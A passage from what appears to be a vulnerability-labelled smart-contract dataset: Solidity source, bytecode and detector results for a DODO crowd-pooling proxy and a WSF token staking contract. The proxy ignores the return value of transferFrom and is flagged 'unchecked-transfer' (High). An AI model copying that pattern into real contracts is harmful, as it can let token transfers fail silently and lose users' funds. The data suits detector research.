5092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156111bd57fe5b818303905092915050565b600081830190508281101515156111db57fe5b809050929150505600a165627a7a72305820c4b86103d450c4baed637d42ed10366fe999c37c1b00d4a635f33278fb1447ad0029
{"success": true, "error": null, "results": {}}
8,396
0x8e2f666F316b614c76676215F16F0A9746f96a90
// File: contracts/SmartRoute/intf/IDODOV2.sol /* Copyright 2020 DODO ZOO. SPDX-License-Identifier: Apache-2.0 */ pragma solidity 0.6.9; interface IDODOV2 { //========== Common ================== function sellBase(address to) external returns (uint256 receiveQuoteAmount); function sellQuote(address to) external returns (uint256 receiveBaseAmount); function getVaultReserve() external view returns (uint256 baseReserve, uint256 quoteReserve); function _BASE_TOKEN_() external view returns (address); function _QUOTE_TOKEN_() external view returns (address); function getPMMStateForCall() external view returns ( uint256 i, uint256 K, uint256 B, uint256 Q, uint256 B0, uint256 Q0, uint256 R ); function getUserFeeRate(address user) external view returns (uint256 lpFeeRate, uint256 mtFeeRate); function getDODOPoolBidirection(address token0, address token1) external view returns (address[] memory, address[] memory); //========== DODOVendingMachine ======== function createDODOVendingMachine( address baseToken, address quoteToken, uint256 lpFeeRate, uint256 i, uint256 k, bool isOpenTWAP ) external returns (address newVendingMachine); function buyShares(address to) external returns (uint256,uint256,uint256); //========== DODOPrivatePool =========== function createDODOPrivatePool() external returns (address newPrivatePool); function initDODOPrivatePool( address dppAddress, address creator, address baseToken, address quoteToken, uint256 lpFeeRate, uint256 k, uint256 i, bool isOpenTwap ) external; function reset( address operator, uint256 newLpFeeRate, uint256 newI, uint256 newK, uint256 baseOutAmount, uint256 quoteOutAmount, uint256 minBaseReserve, uint256 minQuoteReserve ) external returns (bool); function _OWNER_() external returns (address); //========== CrowdPooling =========== function createCrowdPooling() external returns (address payable newCrowdPooling); function initCrowdPooling( address cpAddress, address creator, address baseToken, address quoteToken, uint256[] memory timeLine, uint256[] memory valueList, bool isOpenTWAP ) external; function bid(address to) external; } // File: contracts/intf/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function name() external view returns (string memory); function symbol() external view returns (string memory); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); } // File: contracts/lib/SafeMath.sol /** * @title SafeMath * @author DODO Breeder * * @notice Math operations with safety checks that revert on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "MUL_ERROR"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "DIVIDING_ERROR"); return a / b; } function divCeil(uint256 a, uint256 b) internal pure returns (uint256) { uint256 quotient = div(a, b); uint256 remainder = a - quotient * b; if (remainder > 0) { return quotient + 1; } else { return quotient; } } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SUB_ERROR"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "ADD_ERROR"); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = x / 2 + 1; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } // File: contracts/lib/SafeERC20.sol /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/intf/IWETH.sol interface IWETH { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address src, address dst, uint256 wad ) external returns (bool); function deposit() external payable; function withdraw(uint256 wad) external; } // File: contracts/lib/ReentrancyGuard.sol /** * @title ReentrancyGuard * @author DODO Breeder * * @notice Protect functions from Reentrancy Attack */ contract ReentrancyGuard { // https://solidity.readthedocs.io/en/latest/control-structures.html?highlight=zero-state#scoping-and-declarations // zero-state of _ENTERED_ is false bool private _ENTERED_; modifier preventReentrant() { require(!_ENTERED_, "REENTRANT"); _ENTERED_ = true; _; _ENTERED_ = false; } } // File: contracts/SmartRoute/proxies/DODOCpProxyTmp.sol /** * @title DODOUpCpProxy * @author DODO Breeder * * @notice UpCrowdPooling Proxy */ contract DODOCpProxyTmp is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; // ============ Storage ============ address constant _ETH_ADDRESS_ = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public immutable _WETH_; address public immutable _CP_FACTORY_; // ============ Modifiers ============ fallback() external payable {} receive() external payable {} constructor( address payable weth, address cpFactory ) public { _WETH_ = weth; _CP_FACTORY_ = cpFactory; } //============ UpCrowdPooling Functions (create) ============ function createCrowdPooling( address baseToken, address quoteToken, uint256 baseInAmount, uint256[] memory timeLine, uint256[] memory valueList, bool isOpenTWAP ) external payable preventReentrant returns (address payable newCrowdPooling) { address _baseToken = baseToken; address _quoteToken = quoteToken == _ETH_ADDRESS_ ? _WETH_ : quoteToken; newCrowdPooling = IDODOV2(_CP_FACTORY_).createCrowdPooling(); IERC20(baseToken).transferFrom(msg.sender,newCrowdPooling, baseInAmount); (bool success, ) = newCrowdPooling.call{value: msg.value}(""); require(success, "DODOCpProxyTmp: Transfer Success"); IDODOV2(_CP_FACTORY_).initCrowdPooling( newCrowdPooling, msg.sender, _baseToken, _quoteToken, timeLine, valueList, isOpenTWAP ); } }
0x6080604052600436106100385760003560e01c80630d4eec8f146100415780635596ec8014610072578063faa980e4146101bb5761003f565b3661003f57005b005b34801561004d57600080fd5b506100566101d0565b604080516001600160a01b039092168252519081900360200190f35b610056600480360360c081101561008857600080fd5b6001600160a01b038235811692602081013590911691604082013591908101906080810160608201356401000000008111156100c357600080fd5b8201836020820111156100d557600080fd5b803590602001918460208302840111640100000000831117156100f757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929594936020810193503591505064010000000081111561014757600080fd5b82018360208201111561015957600080fd5b8035906020019184602083028401116401000000008311171561017b57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955050505035151590506101f4565b3480156101c757600080fd5b506100566105d9565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b6000805460ff1615610239576040805162461bcd60e51b815260206004820152600960248201526814915153951490539560ba1b604482015290519081900360640190fd5b6000805460ff1916600117815587906001600160a01b03881673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee146102725787610294565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc25b90507f000000000000000000000000e8c9a78725d0451fa19878d5f8a3dc0d55fecf256001600160a01b03166389edcf146040518163ffffffff1660e01b8152600401602060405180830381600087803b1580156102f157600080fd5b505af1158015610305573d6000803e3d6000fd5b505050506040513d602081101561031b57600080fd5b5051604080516323b872dd60e01b81523360048201526001600160a01b038084166024830152604482018b90529151929550908b16916323b872dd916064808201926020929091908290030181600087803b15801561037957600080fd5b505af115801561038d573d6000803e3d6000fd5b505050506040513d60208110156103a357600080fd5b50506040516000906001600160a01b0385169034908381818185875af1925050503d80600081146103f0576040519150601f19603f3d011682016040523d82523d6000602084013e6103f5565b606091505b505090508061044b576040805162461bcd60e51b815260206004820181905260248201527f444f444f437050726f7879546d703a205472616e736665722053756363657373604482015290519081900360640190fd5b7f000000000000000000000000e8c9a78725d0451fa19878d5f8a3dc0d55fecf256001600160a01b031663ecfc2db0853386868c8c8c6040518863ffffffff1660e01b815260040180886001600160a01b03166001600160a01b03168152602001876001600160a01b03166001600160a01b03168152602001866001600160a01b03166001600160a01b03168152602001856001600160a01b03166001600160a01b03168152602001806020018060200184151515158152602001838103835286818151815260200191508051906020019060200280838360005b8381101561053e578181015183820152602001610526565b50505050905001838103825285818151815260200191508051906020019060200280838360005b8381101561057d578181015183820152602001610565565b505050509050019950505050505050505050600060405180830381600087803b1580156105a957600080fd5b505af11580156105bd573d6000803e3d6000fd5b50506000805460ff1916905550939a9950505050505050505050565b7f000000000000000000000000e8c9a78725d0451fa19878d5f8a3dc0d55fecf258156fea2646970667358221220fe0275e1008eb69e0711770a6a6fa653be35f61a7b0d62cdbbf1854b4441018764736f6c63430006090033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
8,397
0x7d3859307d5bea7289e3723d4c3e455e3bf9c11d
/** *Submitted for verification at Etherscan.io on 2020-11-27 */ pragma solidity 0.6.12; // SPDX-License-Identifier: BSD-3-Clause // WallStreetFinance Staking - Innovative Defi Project, by the people for the people /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract WSFstaking is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); // WSF token contract address address public constant tokenAddress = 0x4819a96eB4b22454d628Cd683aE052C2c9076808; // reward rate 100.00% per year uint public constant rewardRate = 10000; uint public constant rewardInterval = 365 days; // staking fee 2.50 percent uint public constant stakingFeeRate = 250; // unstaking fee 0.50 percent uint public constant unstakingFeeRate = 50; // unstaking possible after 72 hours uint public constant cliffTime = 72 hours; uint public totalClaimedRewards = 0; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public stakingTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; function updateAccount(address account) private { uint pendingDivs = getPendingDivs(account); if (pendingDivs > 0) { require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs); totalClaimedRewards = totalClaimedRewards.add(pendingDivs); emit RewardsTransferred(account, pendingDivs); } lastClaimedTime[account] = now; } function getPendingDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint timeDiff = now.sub(lastClaimedTime[_holder]); uint stakedAmount = depositedTokens[_holder]; uint pendingDivs = stakedAmount .mul(rewardRate) .mul(timeDiff) .div(rewardInterval) .div(1e4); return pendingDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function deposit(uint amountToStake) public { require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(msg.sender); uint fee = amountToStake.mul(stakingFeeRate).div(1e4); uint amountAfterFee = amountToStake.sub(fee); require(Token(tokenAddress).transfer(owner, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = now; } } function withdraw(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing."); updateAccount(msg.sender); uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4); uint amountAfterFee = amountToWithdraw.sub(fee); require(Token(tokenAddress).transfer(owner, fee), "Could not transfer withdraw fee."); require(Token(tokenAddress).transfer(msg.sender, amountAfterFee), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function claimDivs() public { updateAccount(msg.sender); } function getStakersList(uint startIndex, uint endIndex) public view returns (address[] memory stakers, uint[] memory stakingTimestamps, uint[] memory lastClaimedTimeStamps, uint[] memory stakedTokens) { require (startIndex < endIndex); uint length = endIndex.sub(startIndex); address[] memory _stakers = new address[](length); uint[] memory _stakingTimestamps = new uint[](length); uint[] memory _lastClaimedTimeStamps = new uint[](length); uint[] memory _stakedTokens = new uint[](length); for (uint i = startIndex; i < endIndex; i = i.add(1)) { address staker = holders.at(i); uint listIndex = i.sub(startIndex); _stakers[listIndex] = staker; _stakingTimestamps[listIndex] = stakingTime[staker]; _lastClaimedTimeStamps[listIndex] = lastClaimedTime[staker]; _stakedTokens[listIndex] = depositedTokens[staker]; } return (_stakers, _stakingTimestamps, _lastClaimedTimeStamps, _stakedTokens); } uint private constant stakingAndDaoTokens = 3000e18; function getStakingAndDaoAmount() public view returns (uint) { if (totalClaimedRewards >= stakingAndDaoTokens) { return 0; } uint remaining = stakingAndDaoTokens.sub(totalClaimedRewards); return remaining; } // function to allow admin to claim *other* ERC20 tokens sent to this contract (by mistake) // Admin cannot transfer out WSF from this smart contract function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { require (_tokenAddr != tokenAddress, "Cannot Transfer Out WSF!"); Token(_tokenAddr).transfer(_to, _amount); } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c80637b0a47ee116100b8578063bec4de3f1161007c578063bec4de3f1461057b578063c326bf4f14610599578063d578ceab146105f1578063d816c7d51461060f578063f2fde38b1461062d578063f3f91fa01461067157610137565b80637b0a47ee1461046f5780638da5cb5b1461048d57806398896d10146104c15780639d76ea5814610519578063b6b55f251461054d57610137565b8063308feec3116100ff578063308feec314610315578063583d42fd146103335780635ef057be1461038b5780636270cd18146103a95780636a395ccb1461040157610137565b80630f1a64441461013c5780631911cf4a1461015a57806319aa70e7146102bf578063268cab49146102c95780632e1a7d4d146102e7575b600080fd5b6101446106c9565b6040518082815260200191505060405180910390f35b6101906004803603604081101561017057600080fd5b8101908080359060200190929190803590602001909291905050506106d0565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b838110156101df5780820151818401526020810190506101c4565b50505050905001858103845288818151815260200191508051906020019060200280838360005b83811015610221578082015181840152602081019050610206565b50505050905001858103835287818151815260200191508051906020019060200280838360005b83811015610263578082015181840152602081019050610248565b50505050905001858103825286818151815260200191508051906020019060200280838360005b838110156102a557808201518184015260208101905061028a565b505050509050019850505050505050505060405180910390f35b6102c76109e9565b005b6102d16109f4565b6040518082815260200191505060405180910390f35b610313600480360360208110156102fd57600080fd5b8101908080359060200190929190505050610a3b565b005b61031d610f80565b6040518082815260200191505060405180910390f35b6103756004803603602081101561034957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f91565b6040518082815260200191505060405180910390f35b610393610fa9565b6040518082815260200191505060405180910390f35b6103eb600480360360208110156103bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fae565b6040518082815260200191505060405180910390f35b61046d6004803603606081101561041757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fc6565b005b610477611186565b6040518082815260200191505060405180910390f35b61049561118c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610503600480360360208110156104d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b0565b6040518082815260200191505060405180910390f35b61052161131f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105796004803603602081101561056357600080fd5b8101908080359060200190929190505050611337565b005b6105836117a7565b6040518082815260200191505060405180910390f35b6105db600480360360208110156105af57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117af565b6040518082815260200191505060405180910390f35b6105f96117c7565b6040518082815260200191505060405180910390f35b6106176117cd565b6040518082815260200191505060405180910390f35b61066f6004803603602081101561064357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117d2565b005b6106b36004803603602081101561068757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611921565b6040518082815260200191505060405180910390f35b6203f48081565b6060806060808486106106e257600080fd5b60006106f7878761193990919063ffffffff16565b905060608167ffffffffffffffff8111801561071257600080fd5b506040519080825280602002602001820160405280156107415781602001602082028036833780820191505090505b50905060608267ffffffffffffffff8111801561075d57600080fd5b5060405190808252806020026020018201604052801561078c5781602001602082028036833780820191505090505b50905060608367ffffffffffffffff811180156107a857600080fd5b506040519080825280602002602001820160405280156107d75781602001602082028036833780820191505090505b50905060608467ffffffffffffffff811180156107f357600080fd5b506040519080825280602002602001820160405280156108225781602001602082028036833780820191505090505b50905060008b90505b8a8110156109ce57600061084982600261195090919063ffffffff16565b905060006108608e8461193990919063ffffffff16565b90508187828151811061086f57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548682815181106108f557fe5b602002602001018181525050600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205485828151811061094d57fe5b602002602001018181525050600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548482815181106109a557fe5b60200260200101818152505050506109c760018261196a90919063ffffffff16565b905061082b565b50838383839850985098509850505050505092959194509250565b6109f233611986565b565b600068a2a15d09519be0000060015410610a115760009050610a38565b6000610a3160015468a2a15d09519be0000061193990919063ffffffff16565b9050809150505b90565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610af0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b6203f480610b46600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261193990919063ffffffff16565b11610b9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180611f3b6034913960400191505060405180910390fd5b610ba533611986565b6000610bcf612710610bc1603285611c1c90919063ffffffff16565b611c4b90919063ffffffff16565b90506000610be6828461193990919063ffffffff16565b9050734819a96eb4b22454d628cd683ae052c2c907680873ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c8d57600080fd5b505af1158015610ca1573d6000803e3d6000fd5b505050506040513d6020811015610cb757600080fd5b8101908080519060200190929190505050610d3a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f436f756c64206e6f74207472616e73666572207769746864726177206665652e81525060200191505060405180910390fd5b734819a96eb4b22454d628cd683ae052c2c907680873ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610dbf57600080fd5b505af1158015610dd3573d6000803e3d6000fd5b505050506040513d6020811015610de957600080fd5b8101908080519060200190929190505050610e6c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b610ebe83600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193990919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f15336002611c6490919063ffffffff16565b8015610f6057506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610f7b57610f79336002611c9490919063ffffffff16565b505b505050565b6000610f8c6002611cc4565b905090565b60056020528060005260406000206000915090505481565b60fa81565b60076020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461101e57600080fd5b734819a96eb4b22454d628cd683ae052c2c907680873ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f43616e6e6f74205472616e73666572204f75742057534621000000000000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561114557600080fd5b505af1158015611159573d6000803e3d6000fd5b505050506040513d602081101561116f57600080fd5b810190808051906020019092919050505050505050565b61271081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006111c6826002611c6490919063ffffffff16565b6111d3576000905061131a565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611224576000905061131a565b6000611278600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261193990919063ffffffff16565b9050600060046000857